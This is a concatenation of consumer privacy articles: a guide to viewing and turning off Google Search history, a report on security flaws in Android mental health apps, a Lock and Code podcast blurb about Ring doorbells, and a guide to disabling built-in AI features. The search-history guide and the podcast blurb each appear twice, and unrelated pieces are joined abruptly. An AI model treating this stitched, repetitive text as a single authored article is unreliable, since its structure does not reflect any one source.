For most Google users, if Web & App Activity is turned on, Google is saving what they look up, what time they looked it up, and what websites they clicked on as a result. There are ways to turn that data tracking off, but the first step is to know where to look.

Here’s how to do that.

How to find your Google Search history

You can start by opening your web browser and signing into Google’s centralized hub for your data online at myactivity.google.com.

Once logged in, you’ll see the above welcome screen with quick settings that you can change, if you want to. Those settings are different for some users, but may include:

• Web & App Activity
• Timeline
• Play History
• YouTube History

Further down on the page, you can browse through your Google Search history. (Our screenshot gallery below can help walk you through the steps.)

• First, look for the search bar in the welcome screen that says Search your activity.
• Right below, you will find the words Filter by date & product. These words are clickable. Click them.
• Once you’ve clicked Filter by date & product, you’ll see a pop-up menu where you can look through your Google activity by date or product. Instead of focusing on the date, scroll down through the list of Google products and check the box for Google Search.
• Press Apply.

After you press Apply, you’ll be taken to a webpage that lists your Google Search history in reverse chronological order, showing you your most recent activity first. As you scroll down, you can find older activity. You can also use the search bar at the top of the page to look for individual pieces of activity, like a search or series of searches that you previously made.

From here, you can also delete individual Google Search entries so that Google no longer stores that data. This will only apply to the individual search you made.

If you want to better protect your privacy, making targeted deletions from your Google Search history is a difficult, lengthy, and imperfect method. Instead, you can simply tell Google to stop recording any of your searches from now on.

How to turn off Google Search history

There’s a simple way to instruct Google to stop saving your online searches to your Google Account, and it takes just a few clicks. Follow the instructions below, along with the image gallery, for guidance.

• Go to your My Google Activity homepage (this is the same page you saw when first signing into myactivity.google.com)
• Click on that quick control button we saw earlier: Web & App Activity
• From here, you will see a new screen with the title Activity Controls
• Find the button that says Turn off and click it
• Choose between Turn off and Turn off and delete activity

If you selected Turn off, you’re done. Google will no longer save your Google Searches as part of your overall Google profile activity. This option means that Google still has your prior searches recorded, though. So, if you want, you can choose the second option, Turn off and delete activity.

When you select that option, Google will walk you through additional steps to choose what types of data you want erased, such as past activity tied to Google Search, Maps, Ads, Image Search, Google Play Store, Help and other services. All of these options reveal just how many products and pipelines Google has built to vacuum up your data.

Don’t be overwhelmed, though. Go through the list at your own pace and start making decisions about your data that are right for you.

We don’t just report on data privacy—we help you remove your personal information

Cybersecurity risks should never spread beyond a headline. With Malwarebytes Personal Data Remover, you can scan to find out which sites are exposing your personal information, and then delete that sensitive data from the internet.

Your Google Search history provides one of the most detailed windows into your private life, and I know this because when I looked at my own search history last year, I was overwhelmed by the information buried within.

Across just 18 months, Google tracked the 8,079 searches I made and the 3,050 websites I visited because of those searches. That included my late-night perusal of WebMD because of medical symptoms I’d looked up just seconds before, my tour of Goodwill donation sites as I searched for where to drop off clothes ahead of an upcoming move, and my ironically tracked visit to a Reddit thread titled “How do I delete most, if not all, of my info off of the Internet?” (One answer I learned: Don’t use Google Search.)

Google tracked my every question, concern, and flight of fancy—almost literally. On just one day in August 2025, Google recorded the seven flight searches I made on Google Flights and the six hotel searches I made on Google Travel.

Google also recorded the many questions and requests I made when researching topics for the Lock and Code podcast, which I host. And while all of that Google data made for an interesting investigation into what Google knows about me (which you can listen to below), it also made it clear that more people should know how to access this same information.

For most Google users, if Web & App Activity is turned on, Google is saving what they look up, what time they looked it up, and what websites they clicked on as a result. There are ways to turn that data tracking off, but the first step is to know where to look.

Here’s how to do that.

How to find your Google Search history

You can start by opening your web browser and signing into Google’s centralized hub for your data online at myactivity.google.com.

Once logged in, you’ll see the above welcome screen with quick settings that you can change, if you want to. Those settings are different for some users, but may include:

• Web & App Activity
• Timeline
• Play History
• YouTube History

Further down on the page, you can browse through your Google Search history. (Our screenshot gallery below can help walk you through the steps.)

• First, look for the search bar in the welcome screen that says Search your activity.
• Right below, you will find the words Filter by date & product. These words are clickable. Click them.
• Once you’ve clicked Filter by date & product, you’ll see a pop-up menu where you can look through your Google activity by date or product. Instead of focusing on the date, scroll down through the list of Google products and check the box for Google Search.
• Press Apply.

After you press Apply, you’ll be taken to a webpage that lists your Google Search history in reverse chronological order, showing you your most recent activity first. As you scroll down, you can find older activity. You can also use the search bar at the top of the page to look for individual pieces of activity, like a search or series of searches that you previously made.

From here, you can also delete individual Google Search entries so that Google no longer stores that data. This will only apply to the individual search you made.

If you want to better protect your privacy, making targeted deletions from your Google Search history is a difficult, lengthy, and imperfect method. Instead, you can simply tell Google to stop recording any of your searches from now on.

How to turn off Google Search history

There’s a simple way to instruct Google to stop saving your online searches to your Google Account, and it takes just a few clicks. Follow the instructions below, along with the image gallery, for guidance.

• Go to your My Google Activity homepage (this is the same page you saw when first signing into myactivity.google.com)
• Click on that quick control button we saw earlier: Web & App Activity
• From here, you will see a new screen with the title Activity Controls
• Find the button that says Turn off and click it
• Choose between Turn off and Turn off and delete activity

If you selected Turn off, you’re done. Google will no longer save your Google Searches as part of your overall Google profile activity. This option means that Google still has your prior searches recorded, though. So, if you want, you can choose the second option, Turn off and delete activity.

When you select that option, Google will walk you through additional steps to choose what types of data you want erased, such as past activity tied to Google Search, Maps, Ads, Image Search, Google Play Store, Help and other services. All of these options reveal just how many products and pipelines Google has built to vacuum up your data.

Don’t be overwhelmed, though. Go through the list at your own pace and start making decisions about your data that are right for you.

We don’t just report on data privacy—we help you remove your personal information

Cybersecurity risks should never spread beyond a headline. With Malwarebytes Personal Data Remover, you can scan to find out which sites are exposing your personal information, and then delete that sensitive data from the internet.

In February 2026, the cybersecurity firm Oversecured published a report that makes you want to factory reset your phone and move into a remote cabin in the woods. Researchers audited 10 popular Android mental health apps — ranging from mood trackers and AI therapists to tools for managing depression and anxiety — and uncovered… 1575 vulnerabilities! Fifty-four of those flaws were classified as critical. Given the download stats on Google Play, as many as 15 million people could be affected. The real kicker? Six out of the ten apps tested explicitly promised users that their data was “fully encrypted and securely protected”.

We’re breaking down this scandalous “brain drain”: what exactly could leak, how it’s happening, and why “anonymity” in these services is usually just a marketing myth.

What was found in the apps

Oversecured is a mobile app security firm that uses a specialized scanner to analyze APK files for known vulnerability patterns across dozens of categories. In January 2026, researchers ran ten mental health monitoring apps from Google Play through the scanner — and the results were, shall we say, “spectacular”.

The anatomy of the flaws

The discovered vulnerabilities are diverse, but they all boil down to one thing: giving attackers access to data that should be under lock and key.

For starters, one of the vulnerabilities allows an attacker to access any internal activity of the app — even that never intended for external eyes. This opens the door to hijacking authentication tokens and user session data. Once an attacker has those, they essentially could gain access to a user’s therapy records.

Another issue is insecure local data storage with read permissions granted to any other app on the device. In other words, that random flashlight app or calculator on your smartphone could potentially read your cognitive behavioral therapy (CBT) logs, personal notes, and mood assessments.

The researchers also found unencrypted configuration data baked right into the APK installation files. This included backend API endpoints and hardcoded URLs for Firebase databases.

Furthermore, several apps were caught using the cryptographically weak java.util.Random class to generate session tokens and encryption keys.

Finally, most of the tested apps lacked root/jailbreak detection. On a rooted device, any third-party app with root privileges could gain total access to every bit of locally stored medical data.

Shockingly, of the 10 apps analyzed, only four received updates in February 2026. The rest haven’t seen a patch since November 2025, and one hasn’t been touched since September 2024. Going 18 months without a security patch is a lifetime in this industry — especially for an app housing mood journals, therapy transcripts, and medication schedules.

Here’s a quick reminder of just how dangerous the misuse of this type of data gets. In 2024, the tech world was rocked by a sophisticated attack on XZ Utils, a critical component found in virtually every operating system based on the Linux kernel. The attacker successfully pressured the maintainer into handing over code commit permissions by exploiting the developer’s public admission of burnout and a lack of motivation to carry on with the project. Had the attack been completed, the damage would have been mind-boggling given that roughly 80% of the world’s servers run on Linux.

What could leak?

What do these apps collect and store? It’s the kind of stuff you’d likely only share with a trusted clinician: therapy session transcripts, mood logs, medication schedules, self-harm indicators, CBT notes, and various clinical assessment scales.

As far back as 2021, complete medical records were selling on the dark web for US$1000 each. For comparison, a stolen credit card number goes for anywhere between US$5 and US$30. Medical records contain a full identity package: name, address, insurance details, and diagnostic history. Unlike a credit card, you can’t exactly “reissue” your medical history. Furthermore, medical fraud is notoriously difficult to spot. While a bank might flag a suspicious transaction in hours, a fraudulent insurance claim for a phantom treatment can go unnoticed for years.

We’ve seen this movie before

The Oversecured study isn’t just an isolated horror story.

Back in 2020, Julius Kivimäki hacked the database of the Finnish psychotherapy clinic Vastaamo, making off with the records of 33 000 patients. When the clinic refused to cough up a €400 000 ransom, Kivimäki began sending direct threats to patients: “Pay €200 in Bitcoin within 24 hours, or else your records go public”. Ultimately, he leaked the entire database onto the dark web anyway. At least two people died by suicide, and the clinic was forced into bankruptcy. Kivimäki was eventually sentenced to six years and three months in prison, marking a record-breaking trial in Finland for the sheer number of victims involved.

In 2023, the U.S. Federal Trade Commission (FTC) slapped the online therapy giant BetterHelp with a US$7.8 million fine. Despite stating on their sign-up page that your data was strictly confidential, the company was caught funneling user info — including mental health questionnaire responses, emails, and IP addresses — to Facebook, Snapchat, Criteo, and Pinterest for targeted advertising. After the dust settled, 800 000 affected users received a grand total of… US$10 each in compensation.

By 2024, the FTC set its sights on the telehealth firm Cerebral, tagging them with a US$7 million fine. Through tracking pixels, Cerebral leaked the data of 3.2 million users to LinkedIn, Snapchat, and TikTok. The haul included names, medical histories, prescriptions, appointment dates, and insurance info. And the cherry on top? The company sent promotional postcards (sans envelopes) to 6000 patients, which effectively broadcasted that the recipients were undergoing psychiatric treatment.

In September 2024, security researcher Jeremiah Fowler stumbled upon an exposed database belonging to Confidant Health, a provider specializing in addiction recovery and mental health services. The database contained audio and video recordings of therapy sessions, transcripts, psychiatric notes, drug test results, and even copies of driver’s licenses. In total, 5.3 terabytes of data, 126 000 files, or 1.7 million records were sitting there without a password.

Why anonymity is an illusion

Developers love to drop the line: “We never share your personal data with anyone.” Technically, that might be true — instead, they share “anonymized profiles”. The catch? De-anonymizing that data isn’t exactly rocket science anymore. Recent research highlights that using LLMs to strip away anonymity has become a routine reality.

Even the “anonymization” process itself is often a mess. A study by Duke University revealed that data brokers are openly hawking the mental health data of Americans. Out of 37 brokers surveyed, 11 agreed to sell data linked to specific diagnoses (like depression, anxiety, and bipolar disorder), demographic parameters, and in some cases, even names and home addresses. Prices started as low as US$275 for 5000 aggregated records.

According to the Mozilla Foundation, by 2023, 59% of popular mental health apps failed to meet even the most basic privacy standards, and 40% had actually become less secure than the previous year. These apps allowed account creation via third-party services (like Google, Apple, and Facebook), featured suspiciously brief privacy policies that glossed over data collection details, and employed a clever little loophole: some privacy policies applied strictly to the company’s website, but not the app itself. In short, your clicks on the site were “protected”, but your actions within the app were fair game.

How to protect yourself

Cutting these apps out of your life entirely is, of course, the most foolproof option — but it’s not the most realistic one. Besides, there’s no guarantee you can actually nuke the data already collected — even if you delete your account. We previously covered the grueling process of scrubbing your info from data broker databases; it’s possible, but prepare for a headache. So, how can you stay safe?

• Check permissions before you hit “Install”. In Google Play, navigate to App description → About this app → Permissions. A mood tracker has no business asking for access to your camera, microphone, contacts, or precise GPS location. If it does, it’s not looking out for your well-being — it’s harvesting data.
• Actually read the privacy policy. We get it — nobody reads these multi-page manifestos. But when a service is vacuuming up your most intimate thoughts, it’s worth a skim. Look for the red flags: does the company share data with third parties? Can you manually delete your records? Does the policy explicitly cover the app itself, or just the website? You can always feed the policy text into an AI and ask it to flag any privacy deal-breakers.
• Check the last updated date. An app that hasn’t seen an update in over six months is likely a playground for unpatched vulnerabilities. Remember: six out of the 10 apps Oversecured tested hadn’t been touched in months.
• Disable everything non-essential in your phone’s privacy settings. Whenever prompted, always select “ask not to track”. When an app pleads with you to enable a specific type of tracking — claiming it’s for “internal optimization” — it’s almost always a marketing ploy rather than a functional necessity. After all, if the app truly won’t work without a certain permission, you can always go back and toggle it on later.
• Don’t use “Sign in with…” services. Authenticating via Facebook, Apple, Google, or Microsoft creates additional identifiers and gives companies a golden opportunity to link your data across different platforms.
• Treat everything you type like a public social media post. If you wouldn’t want a random stranger on the internet reading it, you probably shouldn’t be typing it into an app with over 150 vulnerabilities that hasn’t seen a patch since the year before last.

What else you should know about privacy settings and controlling your personal data online:

• Geolocation data brokers: what they do and what happens when they leak
• Why data brokers build dossiers on you, and how to stop them doing so
• How to disappear from the internet
• How to shrink your digital footprint
• How smartphones build a dossier on you

This week on the Lock and Code podcast…

On February 8, during the Super Bowl in the United States, countless owners of one of the most popular smart products today got a bit of a wakeup call: Their Ring doorbells could be used to see a whole lot more than they knew.

In a commercial that was broadcast to one of most reliably enormous audiences in the country, Amazon, which owns the company Ring, promoted a new feature for its smart doorbells called “Search Party.” By scouring the footage of individual Ring cameras across a specific region, “Search Party” can implement AI-powered image recognition technology to find, as the commercial portrayed it, a lost dog. But immediately after the commercial aired, people began wondering what else their Ring cameras could be used to find.

As US Senator Ed Markey wrote on social media:

“Ring’s Super Bowl ad exposed a scary truth: the technology in its doorbell cameras could be used to hunt down a lost pet…or a person. Amazon must discontinue its dystopian monitoring features.”

These “dystopian monitoring features” aren’t entirely new, but that’s not to say that most Ring owners knew what they were allowing when they originally bought their devices.

Bought by Amazon in 2018, Ring is the most popular manufacturer of a product that, as of 15 years ago, didn’t really exist. And while other “smart” innovations failed, smart doorbells have become a fixture of American neighborhoods, providing a mixture of convenience and security. For instance, a Ring owner away from home can verify and buzz in their mailman dropping off a package behind a gated entrance. Or, a Ring owner can see on their phone that the person knocking at their door is a salesman and choose to avoid talking to them. Or, a Ring owner can help police who are investigating a crime in their area by handing over relevant footage. Even the presence of a Ring doorbell, and its variety of motion-detecting alerts, could possibly serve as a deterrent to crime.

What has seemingly upset so many of those same owners, then, is learning exactly how their personal devices might be used for a company’s gains.

Today, on the Lock and Code podcast with host David Ruiz, we speak with Matthew Guariglia, senior policy analyst at Electronic Frontier Foundation, about Ring’s long history of partnering with—and sometimes even speaking directly for—police, who can access Ring doorbell footage both inside the company and outside it, and what people really open themselves up to when purchasing a Ring device.

 ”There’s this impression, a myth practically, that ‘I buy a ring doorbell to put on my house, I control the footage… But there is [an] entire secondary use of this device, which is by police that you don’t really get a lot of say in.”

Tune in today to listen to the full conversation.

Show notes and credits:

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)
Licensed under Creative Commons: By Attribution 4.0 License
http://creativecommons.org/licenses/by/4.0/
Outro Music: “Good God” by Wowa (unminus.com)

Listen up—Malwarebytes doesn’t just talk cybersecurity, we provide it.

Protect yourself from online attacks that threaten your identity, your files, your system, and your financial well-being with our exclusive offer for Malwarebytes Premium Security for Lock and Code listeners.

This week on the Lock and Code podcast…

On February 8, during the Super Bowl in the United States, countless owners of one of the most popular smart products today got a bit of a wakeup call: Their Ring doorbells could be used to see a whole lot more than they knew.

In a commercial that was broadcast to one of most reliably enormous audiences in the country, Amazon, which owns the company Ring, promoted a new feature for its smart doorbells called “Search Party.” By scouring the footage of individual Ring cameras across a specific region, “Search Party” can implement AI-powered image recognition technology to find, as the commercial portrayed it, a lost dog. But immediately after the commercial aired, people began wondering what else their Ring cameras could be used to find.

As US Senator Ed Markey wrote on social media:

“Ring’s Super Bowl ad exposed a scary truth: the technology in its doorbell cameras could be used to hunt down a lost pet…or a person. Amazon must discontinue its dystopian monitoring features.”

These “dystopian monitoring features” aren’t entirely new, but that’s not to say that most Ring owners knew what they were allowing when they originally bought their devices.

Bought by Amazon in 2018, Ring is the most popular manufacturer of a product that, as of 15 years ago, didn’t really exist. And while other “smart” innovations failed, smart doorbells have become a fixture of American neighborhoods, providing a mixture of convenience and security. For instance, a Ring owner away from home can verify and buzz in their mailman dropping off a package behind a gated entrance. Or, a Ring owner can see on their phone that the person knocking at their door is a salesman and choose to avoid talking to them. Or, a Ring owner can help police who are investigating a crime in their area by handing over relevant footage. Even the presence of a Ring doorbell, and its variety of motion-detecting alerts, could possibly serve as a deterrent to crime.

What has seemingly upset so many of those same owners, then, is learning exactly how their personal devices might be used for a company’s gains.

Today, on the Lock and Code podcast with host David Ruiz, we speak with Matthew Guariglia, senior policy analyst at Electronic Frontier Foundation, about Ring’s long history of partnering with—and sometimes even speaking directly for—police, who can access Ring doorbell footage both inside the company and outside it, and what people really open themselves up to when purchasing a Ring device.

 ”There’s this impression, a myth practically, that ‘I buy a ring doorbell to put on my house, I control the footage… But there is [an] entire secondary use of this device, which is by police that you don’t really get a lot of say in.”

Tune in today to listen to the full conversation.

Show notes and credits:

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)
Licensed under Creative Commons: By Attribution 4.0 License
http://creativecommons.org/licenses/by/4.0/
Outro Music: “Good God” by Wowa (unminus.com)

Listen up—Malwarebytes doesn’t just talk cybersecurity, we provide it.

Protect yourself from online attacks that threaten your identity, your files, your system, and your financial well-being with our exclusive offer for Malwarebytes Premium Security for Lock and Code listeners.

If you don’t go searching for AI services, they’ll find you all the same. Every major tech company feels a moral obligation not just to develop an AI assistant, integrated chatbot, or autonomous agent, but to bake it into their existing mainstream products and forcibly activate it for tens of millions of users. Here are just a few examples from the last six months:

• Microsoft is forcibly turning compatible Windows PCs into “AI PCs”, and automatically installing and activating Copilot for anyone with Microsoft 365 desktop apps.
• Google activated Gemini for all U.S. Chrome users, cranked its browser functionality to the max, aggressively expanded the reach of AI Overviews in search results, and baked a whole suite of AI features into its online services (Gmail, Google Docs, and others).
• Apple integrated its own Apple Intelligence (conveniently sharing the AI acronym) into the latest OS versions across all device types and most of its native apps.
• Meta added AI translations and a Meta AI chat to WhatsApp, while simultaneously banning third-party chatbots in the messaging app as of January 15, 2026.

On the flip side, geeks have rushed to build their own “personal Jarvises” by renting VPS instances or hoarding Mac minis to run the OpenClaw AI agent. Unfortunately, OpenClaw’s security issues with default settings turned out to be so massive that it’s already been dubbed the biggest cybersecurity threat of 2026.

Beyond the sheer annoyance of having something shoved down your throat, this AI epidemic brings some very real practical risks and headaches. AI assistants hoover up every bit of data they can get their hands on, parsing the context of the websites you visit, analyzing your saved documents, reading through your chats, and so on. This gives AI companies an unprecedentedly intimate look into every user’s life.

A leak of this data during a cyberattack — whether from the AI provider’s servers or from the cache on your own machine — could be catastrophic. These assistants can see and cache everything you can, including data usually tucked behind multiple layers of security: banking info, medical diagnoses, private messages, and other sensitive intel. We took a deep dive into how this plays out when we broke down the issues with the AI-powered Copilot+ Recall system, which Microsoft also planned to force-feed to everyone. On top of that, AI can be a total resource hog, eating up RAM, GPU cycles, and storage, which often leads to a noticeable hit to system performance.

For those who want to sit out the AI storm and avoid these half-baked, rushed-to-market neural network assistants, we’ve put together a quick guide on how to kill the AI in popular apps and services.

How to disable AI in Google Docs, Gmail, and Google Workspace

Google’s AI assistant features in Mail and Docs are lumped together under the umbrella of “smart features”. In addition to the large language model, this includes various minor conveniences, like automatically adding meetings to your calendar when you receive an invite in Gmail. Unfortunately, it’s an all-or-nothing deal: you have to disable all of the “smart features” to get rid of the AI.

To do this, open Gmail, click the Settings (gear) icon, and then select See all settings. On the General tab, scroll down to Google Workspace smart features. Click Manage Workspace smart feature settings and toggle off two options: Smart features in Google Workspace and Smart features in other Google products. We also recommend unchecking the box next to Turn on smart features in Gmail, Chat, and Meet on the same general settings tab. You’ll need to restart your Google apps afterward (which usually happens automatically).

How to disable AI Overviews in Google Search

You can kill off AI Overviews in search results on both desktops and smartphones (including iPhones), and the fix is the same across the board. The simplest way to bypass the AI overview on a case-by-case basis is to append -ai to your search query — for example, how to make pizza -ai. Unfortunately, this method occasionally glitches, causing Google to abruptly claim it found absolutely nothing for your request.

If that happens, you can achieve the same result by switching the search results page to Web mode. To do this, select the Web filter immediately below the search bar — you’ll often find it tucked away under the More button.

A more radical solution is to jump ship to a different search engine entirely. For instance, DuckDuckGo not only tracks users less and shows little ads, but it also offers a dedicated AI-free search — just bookmark the search page at noai.duckduckgo.com.

How to disable AI features in Chrome

Chrome currently has two types of AI features baked in. The first communicates with Google’s servers and handles things like the smart assistant, an autonomous browsing AI agent, and smart search. The second handles locally more utility-based tasks, such as identifying phishing pages or grouping browser tabs. The first group of settings is labeled AI mode, while the second contains the term Gemini Nano.

To disable them, type chrome://flags into the address bar and hit Enter. You’ll see a list of system flags and a search bar; type “AI” into that search bar. This will filter the massive list down to about a dozen AI features (and a few other settings where those letters just happen to appear in a longer word). The second search term you’ll need in this window is “Gemini“.

After reviewing the options, you can disable the unwanted AI features — or just turn them all off — but the bare minimum should include:

• AI Mode Omnibox entrypoint
• AI Entrypoint Disabled on User Input
• Omnibox Allow AI Mode Matches
• Prompt API for Gemini Nano
• Prompt API for Gemini Nano with Multimodal Input

Set all of these to Disabled.

How to disable AI features in Firefox

While Firefox doesn’t have its own built-in chatbots and hasn’t (yet) tried to force upon users agent-based features, the browser does come equipped with smart-tab grouping, a sidebar for chatbots, and a few other perks. Generally, AI in Firefox is much less “in your face” than in Chrome or Edge. But if you still want to pull the plug, you’ve two ways to do it.

The first method is available in recent Firefox releases — starting with version 148, a dedicated AI Controls section appeared in the browser settings, though the controls are currently a bit sparse. You can use a single toggle to completely Block AI enhancements, shutting down AI features entirely. You can also specify whether you want to use On-device AI by downloading small local models (currently just for translations) and configure AI chatbot providers in sidebar, choosing between Anthropic Claude, ChatGPT, Copilot, Google Gemini, and Le Chat Mistral.

The second path — for older versions of Firefox — requires a trip into the hidden system settings. Type about:config into the address bar, hit Enter, and click the button to confirm that you accept the risk of poking around under the hood.

A massive list of settings will appear along with a search bar. Type “ML” to filter for settings related to machine learning.

To disable AI in Firefox, toggle the browser.ml.enabled setting to false. This should disable all AI features across the board, but community forums suggest this isn’t always enough to do the trick. For a scorched-earth approach, set the following parameters to false (or selectively keep only what you need):

• ml.chat.enabled
• ml.linkPreview.enabled
• ml.pageAssist.enabled
• ml.smartAssist.enabled
• ml.enabled
• ai.control.translations
• tabs.groups.smart.enabled
• urlbar.quicksuggest.mlEnabled

This will kill off chatbot integrations, AI-generated link descriptions, assistants and extensions, local translation of websites, tab grouping, and other AI-driven features.

How to disable AI features in Microsoft apps

Microsoft has managed to bake AI into almost every single one of its products, and turning it off is often no easy task — especially since the AI sometimes has a habit of resurrecting itself without your involvement.

How to disable AI features in Edge

Microsoft’s browser is packed with AI features, ranging from Copilot to automated search. To shut them down, follow the same logic as with Chrome: type edge://flags into the Edge address bar, hit Enter, then type “AI” or “Copilot” into the search box. From there, you can toggle off the unwanted AI features, such as:

• Enable Compose (AI-writing) on the web
• Edge Copilot Mode
• Edge History AI

Another way to ditch Copilot is to enter edge://settings/appearance/copilotAndSidebar into the address bar. Here, you can customize the look of the Copilot sidebar and tweak personalization options for results and notifications. Don’t forget to peek into the Copilot section under App-specific settings — you’ll find some additional controls tucked away there.

How to disable Microsoft Copilot

Microsoft Copilot comes in two flavors: as a component of Windows (Microsoft Copilot), and as part of the Office suite (Microsoft 365 Copilot). Their functions are similar, but you’ll have to disable one or both depending on exactly what the Redmond engineers decided to shove onto your machine.

The simplest thing you can do is just uninstall the app entirely. Right-click the Copilot entry in the Start menu and select Uninstall. If that option isn’t there, head over to your installed apps list (Start → Settings → Apps) and uninstall Copilot from there.

In certain builds of Windows 11, Copilot is baked directly into the OS, so a simple uninstall might not work. In that case, you can toggle it off via the settings: Start → Settings → Personalization → Taskbar → turn off Copilot.

If you ever have a change of heart, you can always reinstall Copilot from the Microsoft Store.

It’s worth noting that many users have complained about Copilot automatically reinstalling itself, so you might want to do a weekly check for a couple of months to make sure it hasn’t staged a comeback. For those who are comfortable tinkering with the System Registry (and understand the consequences), you can follow this detailed guide to prevent Copilot’s silent resurrection by disabling the SilentInstalledAppsEnabled flag and adding/enabling the TurnOffWindowsCopilot parameter.

How to disable Microsoft Recall

The Microsoft Recall feature, first introduced in 2024, works by constantly taking screenshots of your computer screen and having a neural network analyze them. All that extracted information is dumped into a database, which you can then search using an AI assistant. We’ve previously written in detail about the massive security risks Microsoft Recall poses.

Under pressure from cybersecurity experts, Microsoft was forced to push the launch of this feature from 2024 to 2025, significantly beefing up the protection of the stored data. However, the core of Recall remains the same: your computer still remembers your every move by constantly snapping screenshots and OCR-ing the content. And while the feature is no longer enabled by default, it’s absolutely worth checking to make sure it hasn’t been activated on your machine.

To check, head to the settings: Start → Settings → Privacy & Security → Recall & snapshots. Ensure the Save snapshots toggle is turned off, and click Delete snapshots to wipe any previously collected data, just in case.

You can also check out our detailed guide on how to disable and completely remove Microsoft Recall.

How to disable AI in Notepad and Windows context actions

AI has seeped into every corner of Windows, even into File Explorer and Notepad. You might even trigger AI features just by accidentally highlighting text in an app — a feature Microsoft calls “AI Actions”. To shut this down, head to Start → Settings → Privacy & Security → Click to Do.

Notepad has received its own special Copilot treatment, so you’ll need to disable AI there separately. Open the Notepad settings, find the AI features section, and toggle Copilot off.

Finally, Microsoft has even managed to bake Copilot into Paint. Unfortunately, as of right now, there is no official way to disable the AI features within the Paint app itself.

How to disable AI in WhatsApp

In several regions, WhatsApp users have started seeing typical AI additions like suggested replies, AI message summaries, and a brand-new Chat with Meta AI button. While Meta claims the first two features process data locally on your device and don’t ship your chats off to their servers, verifying that is no small feat. Luckily, turning them off is straightforward.

To disable Suggested Replies, go to Settings → Chats → Suggestions & smart replies and toggle off Suggested replies. You can also kill off AI Sticker suggestions in that same menu. As for the AI message summaries, those are managed in a different location: Settings → Notifications → AI message summaries.

How to disable AI on Android

Given the sheer variety of manufacturers and Android flavors, there’s no one-size-fits-all instruction manual for every single phone. Today, we’ll focus on killing off Google’s AI services — but if you’re using a device from Samsung, Xiaomi, or others, don’t forget to check your specific manufacturer’s AI settings. Just a heads-up: fully scrubbing every trace of AI might be a tall order — if it’s even possible at all.

In Google Messages, the AI features are tucked away in the settings: tap your account picture, select Messages settings, then Gemini in Messages, and toggle the assistant off.

Broadly speaking, the Gemini chatbot is a standalone app that you can uninstall by heading to your phone’s settings and selecting Apps. However, given Google’s master plan to replace the long-standing Google Assistant with Gemini, uninstalling it might become difficult — or even impossible — down the road.

If you can’t completely uninstall Gemini, head into the app to kill its features manually. Tap your profile icon, select Gemini Apps activity, and then choose Turn off or Turn off and delete activity. Next, tap the profile icon again and go to the Connected Apps setting (it may be hiding under the Personal Intelligence setting). From here, you should disable all the apps where you don’t want Gemini poking its nose in.

• For more on dealing with preloaded and system apps, check out our post, Delete the undeletable: how to disable and remove Android bloatware.

How to disable AI in macOS and iOS

Apple’s platform-level AI features, collectively known as Apple Intelligence, are refreshingly straightforward to disable. In your settings — on desktops, smartphones, and tablets alike — simply look for the section labeled Apple Intelligence & Siri. By the way, depending on your region and the language you’ve selected for your OS and Siri, Apple Intelligence might not even be available to you yet.

Other posts to help you tune the AI tools on your devices:

• Privacy settings in ChatGPT
• DeepSeek: configuring privacy and deploying a local version
• The pros and cons of AI-powered browsers
• Is a Gemini AI update about to kill privacy on your Android device?
• Should you disable Microsoft Recall in 2025?